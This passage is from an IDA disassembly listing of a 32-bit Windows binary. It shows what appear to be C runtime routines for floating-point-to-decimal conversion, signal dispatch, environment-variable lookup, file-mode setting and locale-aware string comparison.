loc_41F18D:				; CODE XREF: sub_41F004+17Fj
		cmp	edi, 15h
		jle	short loc_41F195
		push	15h
		pop	edi


loc_41F195:				; CODE XREF: sub_41F004+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_41F1AB:				; CODE XREF: sub_41F004+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41EA11
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_41F1AB
		test	esi, esi
		jge	short loc_41F1D5
		neg	esi
		and	esi, 0FFh
		jle	short loc_41F1D5


loc_41F1C8:				; CODE XREF: sub_41F004+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41EA3F
		dec	esi
		pop	ecx
		jnz	short loc_41F1C8


loc_41F1D5:				; CODE XREF: sub_41F004+1B8j
					; sub_41F004+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_41F232
		mov	[ebp+arg_C], ecx


loc_41F1E5:				; CODE XREF: sub_41F004+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_41EA11
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41EA11
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41E9B3
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41EA11
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_41F1E5
		mov	eax, [ebp+arg_14]


loc_41F232:				; CODE XREF: sub_41F004+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_41F26F


loc_41F23F:				; CODE XREF: sub_41F004+248j
		cmp	eax, ecx
		jb	short loc_41F252
		cmp	byte ptr [eax],	39h
		jnz	short loc_41F24E
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_41F23F
; ---------------------------------------------------------------------------


loc_41F24E:				; CODE XREF: sub_41F004+242j
		cmp	eax, ecx
		jnb	short loc_41F256


loc_41F252:				; CODE XREF: sub_41F004+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_41F256:				; CODE XREF: sub_41F004+24Cj
		inc	byte ptr [eax]


loc_41F258:				; CODE XREF: sub_41F004+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_41F267:				; CODE XREF: sub_41F004+F0j
		mov	eax, [ebp+var_4]


loc_41F26A:				; CODE XREF: sub_41F004+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F26F:				; CODE XREF: sub_41F004+239j
					; sub_41F004+275j
		cmp	eax, ecx
		jb	short loc_41F27F
		cmp	byte ptr [eax],	30h
		jnz	short loc_41F27B
		dec	eax
		jmp	short loc_41F26F
; ---------------------------------------------------------------------------


loc_41F27B:				; CODE XREF: sub_41F004+272j
		cmp	eax, ecx
		jnb	short loc_41F258


loc_41F27F:				; CODE XREF: sub_41F004+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_41F28E:				; CODE XREF: sub_41F004+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_41F26A
sub_41F004	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F297	proc near		; CODE XREF: sub_41AB9C+3423p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_41F2FE
		dec	eax
		dec	eax
		jz	short loc_41F2EF
		sub	eax, 4
		jz	short loc_41F2EF
		sub	eax, 3
		jz	short loc_41F2EF
		sub	eax, 4
		jz	short loc_41F2E2
		sub	eax, 6
		jz	short loc_41F2D5
		dec	eax
		jz	short loc_41F2C8
		or	eax, 0FFFFFFFFh
		jmp	loc_41F3C0
; ---------------------------------------------------------------------------


loc_41F2C8:				; CODE XREF: sub_41F297+27j
		mov	esi, dword_46976C
		mov	eax, offset dword_46976C
		jmp	short loc_41F309
; ---------------------------------------------------------------------------


loc_41F2D5:				; CODE XREF: sub_41F297+24j
		mov	esi, dword_469768
		mov	eax, offset dword_469768
		jmp	short loc_41F309
; ---------------------------------------------------------------------------


loc_41F2E2:				; CODE XREF: sub_41F297+1Fj
		mov	esi, dword_469770
		mov	eax, offset dword_469770
		jmp	short loc_41F309
; ---------------------------------------------------------------------------


loc_41F2EF:				; CODE XREF: sub_41F297+10j
					; sub_41F297+15j ...
		push	edi
		call	sub_41F3C4
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_41F309
; ---------------------------------------------------------------------------


loc_41F2FE:				; CODE XREF: sub_41F297+Cj
		mov	esi, dword_469764
		mov	eax, offset dword_469764


loc_41F309:				; CODE XREF: sub_41F297+3Cj
					; sub_41F297+49j ...
		cmp	esi, 1
		jnz	short loc_41F315
		xor	eax, eax
		jmp	loc_41F3C0
; ---------------------------------------------------------------------------


loc_41F315:				; CODE XREF: sub_41F297+75j
		test	esi, esi
		jnz	short loc_41F320
		push	3
		call	sub_417838


loc_41F320:				; CODE XREF: sub_41F297+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_41F332
		cmp	edi, 0Bh
		jz	short loc_41F332
		cmp	edi, 4
		jnz	short loc_41F358


loc_41F332:				; CODE XREF: sub_41F297+8Fj
					; sub_41F297+94j
		mov	ebx, dword_469544
		and	dword_469544, 0
		cmp	edi, ecx
		jnz	short loc_41F387
		mov	edx, dword_4383CC
		mov	dword_4383CC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_41F35B
; ---------------------------------------------------------------------------


loc_41F358:				; CODE XREF: sub_41F297+99j
		mov	ebx, [ebp+arg_0]


loc_41F35B:				; CODE XREF: sub_41F297+BFj
		cmp	edi, ecx
		jnz	short loc_41F387
		mov	eax, dword_4383C0
		mov	ecx, dword_4383C4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_41F38E
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:438350h[edx*4]


loc_41F37C:				; CODE XREF: sub_41F297+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_41F37C
		jmp	short loc_41F38E
; ---------------------------------------------------------------------------


loc_41F387:				; CODE XREF: sub_41F297+AAj
					; sub_41F297+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_41F39C


loc_41F38E:				; CODE XREF: sub_41F297+D7j
					; sub_41F297+EEj
		push	dword_4383CC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_41F3AA
; ---------------------------------------------------------------------------


loc_41F39C:				; CODE XREF: sub_41F297+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_41F3AA
		cmp	edi, 4
		jnz	short loc_41F3BD


loc_41F3AA:				; CODE XREF: sub_41F297+103j
					; sub_41F297+10Cj
		cmp	edi, 8
		mov	dword_469544, ebx
		jnz	short loc_41F3BD
		mov	eax, [ebp+arg_0]
		mov	dword_4383CC, eax


loc_41F3BD:				; CODE XREF: sub_41F297+111j
					; sub_41F297+11Cj
		xor	eax, eax
		pop	ebx


loc_41F3C0:				; CODE XREF: sub_41F297+2Cj
					; sub_41F297+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41F297	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41F3C4	proc near		; CODE XREF: sub_41F297+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_4383C8
		cmp	dword_43834C, edx
		push	esi
		mov	eax, offset dword_438348
		jz	short loc_41F3F2
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:438348h[esi*4]


loc_41F3E6:				; CODE XREF: sub_41F3C4+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41F3F2
		cmp	[eax+4], edx
		jnz	short loc_41F3E6


loc_41F3F2:				; CODE XREF: sub_41F3C4+16j
					; sub_41F3C4+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:438348h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41F406
		cmp	[eax+4], edx
		jz	short locret_41F408


loc_41F406:				; CODE XREF: sub_41F3C4+3Bj
		xor	eax, eax

locret_41F408:				; CODE XREF: sub_41F3C4+40j
		retn
sub_41F3C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F409	proc near		; CODE XREF: sub_41E162+23p

arg_0		= dword	ptr  4

		cmp	dword_46AB08, 0
		push	ebx
		push	esi
		mov	esi, dword_4694BC
		push	edi
		jz	short loc_41F480
		test	esi, esi
		jnz	short loc_41F43A
		cmp	dword_4694C4, esi
		jz	short loc_41F480
		call	sub_41F7D7
		test	eax, eax
		jnz	short loc_41F480
		mov	esi, dword_4694BC
		test	esi, esi
		jz	short loc_41F480


loc_41F43A:				; CODE XREF: sub_41F409+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_41F480
		push	ebx
		call	sub_415CF0
		pop	ecx
		mov	edi, eax


loc_41F44B:				; CODE XREF: sub_41F409+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41F480
		push	eax
		call	sub_415CF0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_41F473
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_41F473
		push	edi
		push	ebx
		push	eax
		call	sub_41F798
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F478


loc_41F473:				; CODE XREF: sub_41F409+51j
					; sub_41F409+59j
		add	esi, 4
		jmp	short loc_41F44B
; ---------------------------------------------------------------------------


loc_41F478:				; CODE XREF: sub_41F409+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_41F482
; ---------------------------------------------------------------------------


loc_41F480:				; CODE XREF: sub_41F409+10j
					; sub_41F409+1Cj ...
		xor	eax, eax


loc_41F482:				; CODE XREF: sub_41F409+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41F409	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F486	proc near		; CODE XREF: sub_41E84C+8Bp
					; sub_41E84C+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_46A8C0
		jnb	short loc_41F4ED
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_46A7C0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_41F4ED
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_41F4C6
		and	cl, 7Fh
		jmp	short loc_41F4D3
; ---------------------------------------------------------------------------


loc_41F4C6:				; CODE XREF: sub_41F486+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_41F4E1
		or	cl, 80h


loc_41F4D3:				; CODE XREF: sub_41F486+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F4E1:				; CODE XREF: sub_41F486+48j
		mov	dword_469494, 16h
		jmp	short loc_41F4F7
; ---------------------------------------------------------------------------


loc_41F4ED:				; CODE XREF: sub_41F486+Bj
					; sub_41F486+27j
		mov	dword_469494, 9


loc_41F4F7:				; CODE XREF: sub_41F486+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F486	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F4FC	proc near		; CODE XREF: sub_41F004+165p
					; sub_41F71C+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_41F6FC
		cmp	cx, 7FFFh
		jnb	loc_41F6FC
		cmp	dx, 0BFFDh
		ja	loc_41F6FC
		cmp	dx, 3FBFh
		ja	short loc_41F565
		xor	eax, eax
		jmp	short loc_41F59F
; ---------------------------------------------------------------------------


loc_41F565:				; CODE XREF: sub_41F4FC+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_41F587
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_41F587
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_41F589
		cmp	[esi], eax
		jnz	short loc_41F589
		jmp	loc_41F6F6
; ---------------------------------------------------------------------------


loc_41F587:				; CODE XREF: sub_41F4FC+71j
					; sub_41F4FC+79j
		xor	eax, eax


loc_41F589:				; CODE XREF: sub_41F4FC+80j
					; sub_41F4FC+84j
		cmp	cx, ax
		jnz	short loc_41F5AC
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_41F5AC
		cmp	[ebx+4], eax
		jnz	short loc_41F5AC
		cmp	[ebx], eax
		jnz	short loc_41F5AC


loc_41F59F:				; CODE XREF: sub_41F4FC+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_41F717
; ---------------------------------------------------------------------------


loc_41F5AC:				; CODE XREF: sub_41F4FC+90j
					; sub_41F4FC+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_41F5BC:				; CODE XREF: sub_41F4FC+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_41F610
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_41F5D8:				; CODE XREF: sub_41F4FC+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_41E992
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F603
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_41F603:				; CODE XREF: sub_41F4FC+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_41F5D8


loc_41F610:				; CODE XREF: sub_41F4FC+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_41F5BC
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_41F653


loc_41F62E:				; CODE XREF: sub_41F4FC+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_41F64C
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41EA11
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41F62E


loc_41F64C:				; CODE XREF: sub_41F4FC+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41F68C


loc_41F653:				; CODE XREF: sub_41F4FC+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_41F68C
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_41F66C:				; CODE XREF: sub_41F4FC+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_41F675
		inc	[ebp+var_14]


loc_41F675:				; CODE XREF: sub_41F4FC+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41EA3F
		dec	ebx
		pop	ecx
		jnz	short loc_41F66C
		cmp	[ebp+var_14], 0
		jz	short loc_41F68C
		or	byte ptr [ebp+var_24], 1


loc_41F68C:				; CODE XREF: sub_41F4FC+155j
					; sub_41F4FC+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_41F6A3
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_41F6D8


loc_41F6A3:				; CODE XREF: sub_41F4FC+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_41F6D5
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_41F6D0
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_41F6CA
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_41F6D8
; ---------------------------------------------------------------------------


loc_41F6CA:				; CODE XREF: sub_41F4FC+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_41F6D8
; ---------------------------------------------------------------------------


loc_41F6D0:				; CODE XREF: sub_41F4FC+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_41F6D8
; ---------------------------------------------------------------------------


loc_41F6D5:				; CODE XREF: sub_41F4FC+1ABj
		inc	[ebp+var_24+2]


loc_41F6D8:				; CODE XREF: sub_41F4FC+1A5j
					; sub_41F4FC+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_41F6FC
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_41F6F6:				; CODE XREF: sub_41F4FC+86j
		mov	[esi+0Ah], ax
		jmp	short loc_41F717
; ---------------------------------------------------------------------------


loc_41F6FC:				; CODE XREF: sub_41F4FC+42j
					; sub_41F4FC+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_41F717:				; CODE XREF: sub_41F4FC+ABj
					; sub_41F4FC+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F4FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F71C	proc near		; CODE XREF: sub_41EB33+440p
					; sub_41F004+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_438840
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_41F795
		jge	short loc_41F744
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_4389A0
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_41F744:				; CODE XREF: sub_41F71C+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41F74F
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_41F74F:				; CODE XREF: sub_41F71C+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_41F795
		push	esi
		push	edi


loc_41F756:				; CODE XREF: sub_41F71C+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_41F78E
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_41F781
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_41F781:				; CODE XREF: sub_41F71C+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_41F4FC
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_41F78E:				; CODE XREF: sub_41F71C+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_41F756
		pop	edi
		pop	esi


loc_41F795:				; CODE XREF: sub_41F71C+14j
					; sub_41F71C+36j
		pop	ebx
		leave
		retn
sub_41F71C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F798	proc near		; CODE XREF: sub_41F409+5Ep
					; sub_41FC49+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_41F7A5
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41F7A5:				; CODE XREF: sub_41F798+7j
		push	dword_46A8C4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_46AAE4
		call	sub_41F845
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F7D2
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41F7D2:				; CODE XREF: sub_41F798+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_41F798	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F7D7	proc near		; CODE XREF: sub_41F409+1Ep
					; sub_41FAC2+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4694C4
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_41F838
		mov	ebx, dword_421138


loc_41F7F0:				; CODE XREF: sub_41F7D7+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_41F840
		push	ebp
		call	sub_415DC9
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_41F840
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41F840
		push	edi
		push	[esp+18h+var_4]
		call	sub_41FAC2
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_41F7F0


loc_41F838:				; CODE XREF: sub_41F7D7+11j
		xor	eax, eax


loc_41F83A:				; CODE XREF: sub_41F7D7+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41F840:				; CODE XREF: sub_41F7D7+29j
					; sub_41F7D7+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F83A
sub_41F7D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F845	proc near		; CODE XREF: sub_41F798+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421C20
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_469778, ebx
		push	1
		pop	edi
		jnz	short loc_41F8B8
		push	edi
		mov	eax, offset dword_421870
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_421008	; CompareStringW
		test	eax, eax
		jz	short loc_41F895
		mov	dword_469778, edi
		jmp	short loc_41F8B8
; ---------------------------------------------------------------------------


loc_41F895:				; CODE XREF: sub_41F845+46j
		push	edi
		mov	eax, offset dword_438FD4
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_42100C	; CompareStringA
		test	eax, eax
		jz	loc_41FAAE
		mov	dword_469778, 2


loc_41F8B8:				; CODE XREF: sub_41F845+31j
					; sub_41F845+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_41F8CF
		push	esi
		push	[ebp+arg_8]
		call	sub_41BF95
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_41F8CF:				; CODE XREF: sub_41F845+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_41F8E4
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_41BF95
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_41F8E4:				; CODE XREF: sub_41F845+8Dj
		mov	eax, dword_469778
		cmp	eax, 2
		jnz	short loc_41F909
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42100C	; CompareStringA
		jmp	loc_41FAB0
; ---------------------------------------------------------------------------


loc_41F909:				; CODE XREF: sub_41F845+A7j
		cmp	eax, edi
		jnz	loc_41FAAE
		cmp	[ebp+arg_18], ebx
		jnz	short loc_41F91E
		mov	eax, dword_469538
		mov	[ebp+arg_18], eax


loc_41F91E:				; CODE XREF: sub_41F845+CFj
		cmp	esi, ebx
		jz	short loc_41F92B
		cmp	[ebp+arg_14], ebx
		jnz	loc_41F9C3


loc_41F92B:				; CODE XREF: sub_41F845+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_41F938


loc_41F930:				; CODE XREF: sub_41F845+13Cj
					; sub_41F845+16Dj
		push	2


loc_41F932:				; CODE XREF: sub_41F845+146j
		pop	eax
		jmp	loc_41FAB0
; ---------------------------------------------------------------------------


loc_41F938:				; CODE XREF: sub_41F845+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_41F944


loc_41F93D:				; CODE XREF: sub_41F845+151j
					; sub_41F845+159j ...
		mov	eax, edi
		jmp	loc_41FAB0
; ---------------------------------------------------------------------------


loc_41F944:				; CODE XREF: sub_41F845+F6j
		cmp	esi, edi
		jg	short loc_41F989
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	dword_421194	; GetCPInfo
		test	eax, eax
		jz	loc_41FAAE
		cmp	esi, ebx
		jle	short loc_41F98D
		cmp	[ebp+var_3C], 2
		jb	short loc_41F989
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41F989


loc_41F96F:				; CODE XREF: sub_41F845+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41F989
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41F983
		cmp	cl, dl
		jbe	short loc_41F930


loc_41F983:				; CODE XREF: sub_41F845+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F96F


loc_41F989:				; CODE XREF: sub_41F845+101j
					; sub_41F845+120j ...
		push	3
		jmp	short loc_41F932
; ---------------------------------------------------------------------------


loc_41F98D:				; CODE XREF: sub_41F845+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_41F9C3
		cmp	[ebp+var_3C], 2
		jb	short loc_41F93D
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41F93D


loc_41F9A0:				; CODE XREF: sub_41F845+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41F93D
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41F9B8
		cmp	cl, dl
		jbe	loc_41F930


loc_41F9B8:				; CODE XREF: sub_41F845+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F9A0
		jmp	loc_41F93D
; ---------------------------------------------------------------------------


loc_41F9C3:				; CODE XREF: sub_41F845+E0j
					; sub_41F845+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	dword_421064	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_41FAAE
		mov	[ebp+var_4], ebx
		add	eax, eax
